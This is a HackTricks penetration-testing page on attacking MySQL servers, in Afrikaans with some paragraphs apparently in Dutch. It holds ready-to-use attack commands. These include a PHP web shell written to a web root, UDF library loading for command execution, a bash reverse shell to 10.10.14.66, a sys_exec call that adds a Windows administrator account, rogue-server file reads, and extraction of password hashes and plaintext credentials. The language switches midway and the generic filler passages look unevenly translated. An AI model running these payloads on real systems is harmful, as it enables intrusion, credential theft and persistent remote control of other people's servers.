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740 lines
29 KiB
Markdown
# 3306 - Pentesting Mysql
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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
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</details>
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
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{% embed url="https://www.rootedcon.com/" %}
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## **Basiese Inligting**
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**MySQL** kan beskryf word as 'n oopbron **Relational Database Management System (RDBMS)** wat gratis beskikbaar is. Dit werk met die **Structured Query Language (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
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**Verstekpoort:** 3306
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```
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3306/tcp open mysql
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```
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## **Verbind**
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### **Lokaal**
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```bash
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mysql -u root # Connect to root without password
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mysql -u root -p # A password will be asked (check someone)
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```
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### Afstandbediening
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MySQL kan op afstand worden benaderd via het netwerk. Dit betekent dat een aanvaller toegang kan krijgen tot de MySQL-server vanaf een externe locatie. Dit kan worden gedaan door het IP-adres en de poort van de MySQL-server te achterhalen en vervolgens een verbinding tot stand te brengen met behulp van een MySQL-client.
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Om te voorkomen dat een aanvaller toegang krijgt tot de MySQL-server via externe verbindingen, moet de configuratie van de MySQL-server worden aangepast. Dit kan worden gedaan door de bind-address-instelling in het configuratiebestand van MySQL te wijzigen. Door deze instelling te wijzigen in het IP-adres van de lokale machine, wordt voorkomen dat externe verbindingen worden geaccepteerd.
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Het is ook belangrijk om sterke en veilige wachtwoorden te gebruiken voor de MySQL-gebruikersaccounts. Dit helpt bij het voorkomen van brute force-aanvallen waarbij een aanvaller probeert in te loggen op de MySQL-server door verschillende combinaties van gebruikersnamen en wachtwoorden te proberen.
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Daarnaast is het belangrijk om de MySQL-server regelmatig bij te werken met de nieuwste beveiligingspatches. Dit helpt bij het dichten van eventuele beveiligingslekken die kunnen worden misbruikt door aanvallers.
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Ten slotte kan het gebruik van een firewall ook helpen bij het beperken van de toegang tot de MySQL-server. Door alleen specifieke IP-adressen toe te staan om verbinding te maken met de MySQL-server, kan de blootstelling aan externe aanvallen worden verminderd.
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```bash
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mysql -h <Hostname> -u root
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mysql -h <Hostname> -u root@localhost
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```
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## Eksterne Enumerasie
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Sommige van die enumerasie-aksies vereis geldige geloofsbriewe
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```bash
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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
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msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
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msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
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```
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### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
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### Skryf enige binêre data neer
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```bash
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CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
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CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
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```
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## **MySQL-opdragte**
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```bash
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show databases;
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use <database>;
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connect <database>;
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show tables;
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describe <table_name>;
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show columns from <table>;
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select version(); #version
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select @@version(); #version
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select user(); #User
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select database(); #database name
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#Get a shell with the mysql client user
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\! sh
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#Basic MySQLi
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Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
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Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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#Read & Write
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## Yo need FILE privilege to read & write to files.
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
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select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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#Try to change MySQL root password
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UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
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UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
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FLUSH PRIVILEGES;
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quit;
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```
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```bash
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mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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### MySQL Toestemmingsopsporing
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MySQL-toestemmingsopsporing is een belangrijk onderdeel van het pentestproces, omdat het helpt bij het identificeren van mogelijke beveiligingslekken in een MySQL-database. Door de toestemmingsinstellingen van een MySQL-gebruiker te controleren, kunnen we bepalen welke acties de gebruiker kan uitvoeren op de database.
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Hier zijn enkele methoden die kunnen worden gebruikt om MySQL-toestemmingen te onderzoeken:
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#### 1. Gebruikerslijst weergeven
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Om de lijst met gebruikers in een MySQL-database weer te geven, kunnen we de volgende query uitvoeren:
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```sql
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SELECT user FROM mysql.user;
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```
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#### 2. Toestemmingen van een specifieke gebruiker controleren
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Om de toestemmingen van een specifieke gebruiker te controleren, kunnen we de volgende query uitvoeren:
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```sql
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SHOW GRANTS FOR 'gebruikersnaam'@'localhost';
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```
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#### 3. Toegang tot databases controleren
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Om te controleren welke databases een gebruiker kan benaderen, kunnen we de volgende query uitvoeren:
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```sql
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SHOW DATABASES;
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```
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#### 4. Toegang tot tabellen controleren
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Om te controleren welke tabellen een gebruiker kan benaderen, kunnen we de volgende query uitvoeren:
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```sql
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SHOW TABLES FROM 'databasenaam';
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```
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#### 5. Toegang tot kolommen controleren
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Om te controleren welke kolommen een gebruiker kan benaderen, kunnen we de volgende query uitvoeren:
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```sql
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SHOW COLUMNS FROM 'databasenaam'.'tabelnaam';
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```
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#### 6. Toegang tot specifieke SQL-opdrachten controleren
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Om te controleren of een gebruiker specifieke SQL-opdrachten kan uitvoeren, kunnen we de volgende query uitvoeren:
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```sql
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SHOW GRANTS FOR 'gebruikersnaam'@'localhost' LIKE '%opdracht%';
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```
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Het controleren van MySQL-toestemmingen is essentieel om mogelijke beveiligingslekken te identificeren en de beveiliging van een MySQL-database te verbeteren. Door deze methoden toe te passen, kunnen we de toegangsrechten van gebruikers nauwkeurig beoordelen en eventuele kwetsbaarheden opsporen.
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```sql
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#Mysql
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SHOW GRANTS [FOR user];
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SHOW GRANTS;
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SHOW GRANTS FOR 'root'@'localhost';
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SHOW GRANTS FOR CURRENT_USER();
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# Get users, permissions & hashes
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SELECT * FROM mysql.user;
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#From DB
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select * from mysql.user where user='root';
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## Get users with file_priv
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select user,file_priv from mysql.user where file_priv='Y';
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## Get users with Super_priv
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select user,Super_priv from mysql.user where Super_priv='Y';
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# List functions
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
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#@ Functions not from sys. db
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
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```
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Jy kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
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### MySQL-lêer RCE
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{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
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[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
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{% endcontent-ref %}
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## MySQL willekeurige lees van lêer deur klient
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Eintlik, wanneer jy probeer om **data plaaslik in 'n tabel te laai**, vra die MySQL- of MariaDB-bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dus 'n mysql-kliënt kan manipuleer om na jou eie MySQL-bediener te verbind, kan jy willekeurige lêers lees.**\
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Let asseblief daarop dat dit die gedrag is wanneer jy gebruik maak van:
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```bash
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load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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```
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(Notisie die "plaaslike" woord)\
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Want sonder die "plaaslike" kan jy kry:
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```bash
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mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
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```
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**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
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**In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
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**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n broeiplek vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
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{% embed url="https://www.rootedcon.com/" %}
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## POST
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### Mysql-gebruiker
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Dit sal baie interessant wees as mysql as **root** uitgevoer word:
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```bash
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cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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```
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#### Gevaarlike Instellings van mysqld.cnf
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In die konfigurasie van MySQL-dienste word verskeie instellings gebruik om sy werking en veiligheidsmaatreëls te definieer:
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- Die **`user`**-instelling word gebruik om die gebruiker aan te dui waarin die MySQL-diens uitgevoer sal word.
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- **`password`** word gebruik om die wagwoord wat verband hou met die MySQL-gebruiker, te vestig.
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- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP-verbindings op die administratiewe netwerkinterface.
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- Die **`debug`**-veranderlike dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting binne loglêers.
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- **`sql_warnings`** bestuur of inligtingstrengs gegenereer word vir enkelry-invoegingsopdragte wanneer waarskuwings voorkom, insluitend sensitiewe data binne loglêers.
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- Met **`secure_file_priv`** word die omvang van data-invoer- en uitvoeroperasies beperk om die veiligheid te verbeter.
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### Voorregverhoging
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```bash
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# Get current user (an all users) privileges and hashes
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use mysql;
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select user();
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select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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# Get users, permissions & creds
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SELECT * FROM mysql.user;
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mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
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# Create user and give privileges
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create user test identified by 'test';
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grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
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# Get a shell (with your permissions, usefull for sudo/suid privesc)
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\! sh
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```
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### Voorregverhoging via biblioteek
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As die **mysql-bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **gebruikersgedefinieerde funksies** gebruik. En om 'n gebruikersgedefinieerde funksie te skep, het jy 'n **biblioteek** nodig vir die bedryfstelsel waarop mysql loop.
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Die skadelike biblioteek wat gebruik moet word, kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** uit te voer. Die **`.so`** lêers is **Linux**-biblioteke en die **`.dll`** is die **Windows**-eenhede, kies die een wat jy benodig.
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As jy **nie daardie biblioteke het nie**, kan jy dit óf **soek**, óf hierdie [**Linux C-kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die kwesbare Linux-masjien kompileer**:
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```bash
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gcc -g -c raptor_udf2.c
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gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
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```
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Nou dat jy die biblioteek het, teken binne in die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:
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#### Linux
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```sql
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
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## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
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show variables like '%plugin%';
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# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
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# dump in there the library
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select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
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# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
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select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
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select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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```
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#### Windows
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##### MySQL Service Enumeration
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Om te begin, moet jy die MySQL-diens op die teikenstelsel identifiseer. Jy kan dit doen deur die volgende stappe te volg:
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1. Voer 'n skandering van die teikenstelsel uit om aktiewe poorte te identifiseer.
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2. Kyk vir die poortnommer 3306, wat die standaardpoort vir MySQL is.
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3. As die poort 3306 oop is, dui dit daarop dat die MySQL-diens op die stelsel loop.
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##### MySQL Service Exploitation
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As jy 'n MySQL-diens op die teikenstelsel geïdentifiseer het, kan jy probeer om dit te misbruik om toegang tot die stelsel te verkry. Hier is 'n paar moontlike aanvalstegnieke:
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1. **Brute force-aanval**: Probeer om in te log by die MySQL-diens deur verskillende gebruikersname en wagwoorde te probeer.
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2. **SQL-injeksie**: Ondersoek die webtoepassings wat met die MySQL-diens gekoppel is, vir moontlike SQL-injeksiekwessies wat jy kan uitbuit om toegang te verkry.
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3. **Gebruikersprivilege-uitbreiding**: As jy toegang het tot 'n beperkte gebruikerrekening, probeer om jou gebruikersprivileges uit te brei deur spesiale MySQL-opdragte uit te voer.
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4. **Databasislek**: Ondersoek die databasis vir gevoelige inligting soos wagwoorde, kredietkaartinligting, ens.
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##### MySQL Service Post-Exploitation
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As jy toegang tot die MySQL-diens verkry het, kan jy verskeie post-exploitasietegnieke gebruik om verdere toegang tot die stelsel te verkry of om inligting te versamel:
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1. **Gebruikersrekeninguitbreiding**: Skep 'n nuwe gebruikerrekening met hoër privilegeniveaus om verdere toegang tot die stelsel te verkry.
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2. **Databasisverkenning**: Ondersoek die databasis vir waardevolle inligting soos gebruikersname, wagwoorde, kredietkaartinligting, ens.
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3. **Databasismanipulasie**: Verander of verwyder data in die databasis om die werking van die toepassing of die stelsel te beïnvloed.
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4. **Databasisrugsteun**: Maak 'n rugsteunkopie van die databasis om belangrike inligting te bewaar of om dit later te gebruik.
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##### MySQL Service Hardening
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Om die veiligheid van die MySQL-diens te verhoog, kan jy die volgende maatreëls toepas:
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1. **Sterk wagwoorde**: Verseker dat alle gebruikersrekeninge sterk en unieke wagwoorde het.
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2. **Beperkte gebruikersprivileges**: Gee slegs die nodige privilegies aan elke gebruikerrekening en beperk die toegang tot kritieke databasisfunksies.
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3. **Bywerk van sagteware**: Verseker dat die MySQL-diens en alle verbonde sagteware op die jongste weergawes is om bekende kwessies en lekke te vermy.
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4. **Netwerkbeperkings**: Beperk die toegang tot die MySQL-diens deur slegs spesifieke IP-adresse of subnette toe te laat.
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5. **Logbestuur**: Monitor en analiseer die loglêers van die MySQL-diens vir enige verdagte aktiwiteite of pogings tot aanvalle.
|
||
```sql
|
||
# CHech the linux comments for more indications
|
||
USE mysql;
|
||
CREATE TABLE npn(line blob);
|
||
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
|
||
show variables like '%plugin%';
|
||
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
|
||
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||
SELECT sys_exec("net user npn npn12345678 /add");
|
||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||
```
|
||
### Uittreksel van MySQL-gelde van lêers
|
||
|
||
Binne _/etc/mysql/debian.cnf_ kan jy die **plain-tekswagwoord** van die gebruiker **debian-sys-maint** vind.
|
||
```bash
|
||
cat /etc/mysql/debian.cnf
|
||
```
|
||
Jy kan **hierdie geloofsbriewe gebruik om in die MySQL-databasis in te teken**.
|
||
|
||
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan jy **al die hasings van die MySQL-gebruikers** vind (diegene wat jy kan onttrek uit mysql.user binne die databasis)_._
|
||
|
||
Jy kan hulle onttrek deur die volgende te doen:
|
||
```bash
|
||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||
```
|
||
### Aktivering van logging
|
||
|
||
U kan die log van MySQL navrae aktiveer deur die volgende lyne in `/etc/mysql/my.cnf` te ontkommentarieer:
|
||
|
||
![](<../.gitbook/assets/image (277).png>)
|
||
|
||
### Nuttige lêers
|
||
|
||
Konfigurasie-lêers
|
||
|
||
* windows \*
|
||
* config.ini
|
||
* my.ini
|
||
* windows\my.ini
|
||
* winnt\my.ini
|
||
* \<InstDir>/mysql/data/
|
||
* unix
|
||
* my.cnf
|
||
* /etc/my.cnf
|
||
* /etc/mysql/my.cnf
|
||
* /var/lib/mysql/my.cnf
|
||
* \~/.my.cnf
|
||
* /etc/my.cnf
|
||
* Opdraggeskiedenis
|
||
* \~/.mysql.history
|
||
* Log-lêers
|
||
* connections.log
|
||
* update.log
|
||
* common.log
|
||
|
||
## Standaard MySQL-databasis/tabelle
|
||
|
||
{% tabs %}
|
||
{% tab title="information_schema" %}
|
||
ALL\_PLUGINS\
|
||
APPLICABLE\_ROLES\
|
||
CHARACTER\_SETS\
|
||
CHECK\_CONSTRAINTS\
|
||
COLLATIONS\
|
||
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
|
||
COLUMNS\
|
||
COLUMN\_PRIVILEGES\
|
||
ENABLED\_ROLES\
|
||
ENGINES\
|
||
EVENTS\
|
||
FILES\
|
||
GLOBAL\_STATUS\
|
||
GLOBAL\_VARIABLES\
|
||
KEY\_COLUMN\_USAGE\
|
||
KEY\_CACHES\
|
||
OPTIMIZER\_TRACE\
|
||
PARAMETERS\
|
||
PARTITIONS\
|
||
PLUGINS\
|
||
PROCESSLIST\
|
||
PROFILING\
|
||
REFERENTIAL\_CONSTRAINTS\
|
||
ROUTINES\
|
||
SCHEMATA\
|
||
SCHEMA\_PRIVILEGES\
|
||
SESSION\_STATUS\
|
||
SESSION\_VARIABLES\
|
||
STATISTICS\
|
||
SYSTEM\_VARIABLES\
|
||
TABLES\
|
||
TABLESPACES\
|
||
TABLE\_CONSTRAINTS\
|
||
TABLE\_PRIVILEGES\
|
||
TRIGGERS\
|
||
USER\_PRIVILEGES\
|
||
VIEWS\
|
||
INNODB\_LOCKS\
|
||
INNODB\_TRX\
|
||
INNODB\_SYS\_DATAFILES\
|
||
INNODB\_FT\_CONFIG\
|
||
INNODB\_SYS\_VIRTUAL\
|
||
INNODB\_CMP\
|
||
INNODB\_FT\_BEING\_DELETED\
|
||
INNODB\_CMP\_RESET\
|
||
INNODB\_CMP\_PER\_INDEX\
|
||
INNODB\_CMPMEM\_RESET\
|
||
INNODB\_FT\_DELETED\
|
||
INNODB\_BUFFER\_PAGE\_LRU\
|
||
INNODB\_LOCK\_WAITS\
|
||
INNODB\_TEMP\_TABLE\_INFO\
|
||
INNODB\_SYS\_INDEXES\
|
||
INNODB\_SYS\_TABLES\
|
||
INNODB\_SYS\_FIELDS\
|
||
INNODB\_CMP\_PER\_INDEX\_RESET\
|
||
INNODB\_BUFFER\_PAGE\
|
||
INNODB\_FT\_DEFAULT\_STOPWORD\
|
||
INNODB\_FT\_INDEX\_TABLE\
|
||
INNODB\_FT\_INDEX\_CACHE\
|
||
INNODB\_SYS\_TABLESPACES\
|
||
INNODB\_METRICS\
|
||
INNODB\_SYS\_FOREIGN\_COLS\
|
||
INNODB\_CMPMEM\
|
||
INNODB\_BUFFER\_POOL\_STATS\
|
||
INNODB\_SYS\_COLUMNS\
|
||
INNODB\_SYS\_FOREIGN\
|
||
INNODB\_SYS\_TABLESTATS\
|
||
GEOMETRY\_COLUMNS\
|
||
SPATIAL\_REF\_SYS\
|
||
CLIENT\_STATISTICS\
|
||
INDEX\_STATISTICS\
|
||
USER\_STATISTICS\
|
||
INNODB\_MUTEXES\
|
||
TABLE\_STATISTICS\
|
||
INNODB\_TABLESPACES\_ENCRYPTION\
|
||
user\_variables\
|
||
INNODB\_TABLESPACES\_SCRUBBING\
|
||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||
{% endtab %}
|
||
|
||
{% tab title="mysql" %}
|
||
columns\_priv\
|
||
column\_stats\
|
||
db\
|
||
engine\_cost\
|
||
event\
|
||
func\
|
||
general\_log\
|
||
gtid\_executed\
|
||
gtid\_slave\_pos\
|
||
help\_category\
|
||
help\_keyword\
|
||
help\_relation\
|
||
help\_topic\
|
||
host\
|
||
index\_stats\
|
||
innodb\_index\_stats\
|
||
innodb\_table\_stats\
|
||
ndb\_binlog\_index\
|
||
plugin\
|
||
proc\
|
||
procs\_priv\
|
||
proxies\_priv\
|
||
roles\_mapping\
|
||
server\_cost\
|
||
servers\
|
||
slave\_master\_info\
|
||
slave\_relay\_log\_info\
|
||
slave\_worker\_info\
|
||
slow\_log\
|
||
tables\_priv\
|
||
table\_stats\
|
||
time\_zone\
|
||
time\_zone\_leap\_second\
|
||
time\_zone\_name\
|
||
time\_zone\_transition\
|
||
time\_zone\_transition\_type\
|
||
transaction\_registry\
|
||
user
|
||
{% endtab %}
|
||
|
||
{% tab title="performance_schema" %}
|
||
accounts\
|
||
cond\_instances\
|
||
events\_stages\_current\
|
||
events\_stages\_history\
|
||
events\_stages\_history\_long\
|
||
events\_stages\_summary\_by\_account\_by\_event\_name\
|
||
events\_stages\_summary\_by\_host\_by\_event\_name\
|
||
events\_stages\_summary\_by\_thread\_by\_event\_name\
|
||
events\_stages\_summary\_by\_user\_by\_event\_name\
|
||
events\_stages\_summary\_global\_by\_event\_name\
|
||
events\_statements\_current\
|
||
events\_statements\_history\
|
||
events\_statements\_history\_long\
|
||
events\_statements\_summary\_by\_account\_by\_event\_name\
|
||
events\_statements\_summary\_by\_digest\
|
||
events\_statements\_summary\_by\_host\_by\_event\_name\
|
||
events\_statements\_summary\_by\_program\
|
||
events\_statements\_summary\_by\_thread\_by\_event\_name\
|
||
events\_statements\_summary\_by\_user\_by\_event\_name\
|
||
events\_statements\_summary\_global\_by\_event\_name\
|
||
events\_transactions\_current\
|
||
events\_transactions\_history\
|
||
events\_transactions\_history\_long\
|
||
events\_transactions\_summary\_by\_account\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_host\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_thread\_by\_event\_name\
|
||
events\_transactions\_summary\_by\_user\_by\_event\_name\
|
||
events\_transactions\_summary\_global\_by\_event\_name\
|
||
events\_waits\_current\
|
||
events\_waits\_history\
|
||
events\_waits\_history\_long\
|
||
events\_waits\_summary\_by\_account\_by\_event\_name\
|
||
events\_waits\_summary\_by\_host\_by\_event\_name\
|
||
events\_waits\_summary\_by\_instance\
|
||
events\_waits\_summary\_by\_thread\_by\_event\_name\
|
||
events\_waits\_summary\_by\_user\_by\_event\_name\
|
||
events\_waits\_summary\_global\_by\_event\_name\
|
||
file\_instances\
|
||
file\_summary\_by\_event\_name\
|
||
file\_summary\_by\_instance\
|
||
global\_status\
|
||
global\_variables\
|
||
host\_cache\
|
||
hosts\
|
||
memory\_summary\_by\_account\_by\_event\_name\
|
||
memory\_summary\_by\_host\_by\_event\_name\
|
||
memory\_summary\_by\_thread\_by\_event\_name\
|
||
memory\_summary\_by\_user\_by\_event\_name\
|
||
memory\_summary\_global\_by\_event\_name\
|
||
metadata\_locks\
|
||
mutex\_instances\
|
||
objects\_summary\_global\_by\_type\
|
||
performance\_timers\
|
||
prepared\_statements\_instances\
|
||
replication\_applier\_configuration\
|
||
replication\_applier\_status\
|
||
replication\_applier\_status\_by\_coordinator\
|
||
replication\_applier\_status\_by\_worker\
|
||
replication\_connection\_configuration\
|
||
replication\_connection\_status\
|
||
replication\_group\_member\_stats\
|
||
replication\_group\_members\
|
||
rwlock\_instances\
|
||
session\_account\_connect\_attrs\
|
||
session\_connect\_attrs\
|
||
session\_status\
|
||
session\_variables\
|
||
setup\_actors\
|
||
setup\_consumers\
|
||
setup\_instruments\
|
||
setup\_objects\
|
||
setup\_timers\
|
||
socket\_instances\
|
||
socket\_summary\_by\_event\_name\
|
||
socket\_summary\_by\_instance\
|
||
status\_by\_account\
|
||
status\_by\_host\
|
||
status\_by\_thread\
|
||
status\_by\_user\
|
||
table\_handles\
|
||
table\_io\_waits\_summary\_by\_index\_usage\
|
||
table\_io\_waits\_summary\_by\_table\
|
||
table\_lock\_waits\_summary\_by\_table\
|
||
threads\
|
||
user\_variables\_by\_thread\
|
||
users\
|
||
variables\_by\_thread
|
||
{% endtab %}
|
||
|
||
{% tab title="sys" %}
|
||
host\_summary\
|
||
host\_summary\_by\_file\_io\
|
||
host\_summary\_by\_file\_io\_type\
|
||
host\_summary\_by\_stages\
|
||
host\_summary\_by\_statement\_latency\
|
||
host\_summary\_by\_statement\_type\
|
||
innodb\_buffer\_stats\_by\_schema\
|
||
innodb\_buffer\_stats\_by\_table\
|
||
innodb\_lock\_waits\
|
||
io\_by\_thread\_by\_latency\
|
||
io\_global\_by\_file\_by\_bytes\
|
||
io\_global\_by\_file\_by\_latency\
|
||
io\_global\_by\_wait\_by\_bytes\
|
||
io\_global\_by\_wait\_by\_latency\
|
||
latest\_file\_io\
|
||
memory\_by\_host\_by\_current\_bytes\
|
||
memory\_by\_thread\_by\_current
|
||
schema\_table\_statistics\
|
||
schema\_table\_statistics\_with\_buffer\
|
||
schema\_tables\_with\_full\_table\_scans\
|
||
schema\_unused\_indexes\
|
||
session\
|
||
session\_ssl\_status\
|
||
statement\_analysis\
|
||
statements\_with\_errors\_or\_warnings\
|
||
statements\_with\_full\_table\_scans\
|
||
statements\_with\_runtimes\_in\_95th\_percentile\
|
||
statements\_with\_sorting\
|
||
statements\_with\_temp\_tables\
|
||
sys\_config\
|
||
user\_summary\
|
||
user\_summary\_by\_file\_io\
|
||
user\_summary\_by\_file\_io\_type\
|
||
user\_summary\_by\_stages\
|
||
user\_summary\_by\_statement\_latency\
|
||
user\_summary\_by\_statement\_type\
|
||
version\
|
||
wait\_classes\_global\_by\_avg\_latency\
|
||
wait\_classes\_global\_by\_latency\
|
||
waits\_by\_host\_by\_latency\
|
||
waits\_by\_user\_by\_latency\
|
||
waits\_global\_by\_latency\
|
||
x$host\_summary\
|
||
x$host\_summary\_by\_file\_io\
|
||
x$host\_summary\_by\_file\_io\_type\
|
||
x$host\_summary\_by\_stages\
|
||
x$host\_summary\_by\_statement\_latency\
|
||
x$host\_summary\_by\_statement\_type\
|
||
x$innodb\_buffer\_stats\_by\_schema\
|
||
x$innodb\_buffer\_stats\_by\_table\
|
||
x$innodb\_lock\_waits\
|
||
x$io\_by\_thread\_by\_latency\
|
||
x$io\_global\_by\_file\_by\_bytes\
|
||
x$io\_global\_by\_file\_by\_latency\
|
||
x$io\_global\_by\_wait\_by\_bytes\
|
||
x$io\_global\_by\_wait\_by\_latency\
|
||
x$latest\_file\_io\
|
||
x$memory\_by\_host\_by\_current\_bytes\
|
||
x$memory\_by\_thread\_by\_current\_bytes\
|
||
x$memory\_by\_user\_by\_current\_bytes\
|
||
x$memory\_global\_by\_current\_bytes\
|
||
x$memory\_global\_total\
|
||
x$processlist\
|
||
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
|
||
x$ps\_digest\_avg\_latency\_distribution\
|
||
x$ps\_schema\_table\_statistics\_io\
|
||
x$schema\_flattened\_keys\
|
||
x$schema\_index\_statistics\
|
||
x$schema\_table\_lock\_waits\
|
||
x$schema\_table\_statistics\
|
||
x$schema\_table\_statistics\_with\_buffer\
|
||
x$schema\_tables\_with\_full\_table\_scans\
|
||
x$session\
|
||
x$statement\_analysis\
|
||
x$statements\_with\_errors\_or\_warnings\
|
||
x$statements\_with\_full\_table\_scans\
|
||
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
||
x$statements\_with\_sorting\
|
||
x$statements\_with\_temp\_tables\
|
||
x$user\_summary\
|
||
x$user\_summary\_by\_file\_io\
|
||
x$user\_summary\_by\_file\_io\_type\
|
||
x$user\_summary\_by\_stages\
|
||
x$user\_summary\_by\_statement\_latency\
|
||
x$user\_summary\_by\_statement\_type\
|
||
x$wait\_classes\_global\_by\_avg\_latency\
|
||
x$wait\_classes\_global\_by\_latency\
|
||
x$waits\_by\_host\_by\_latency\
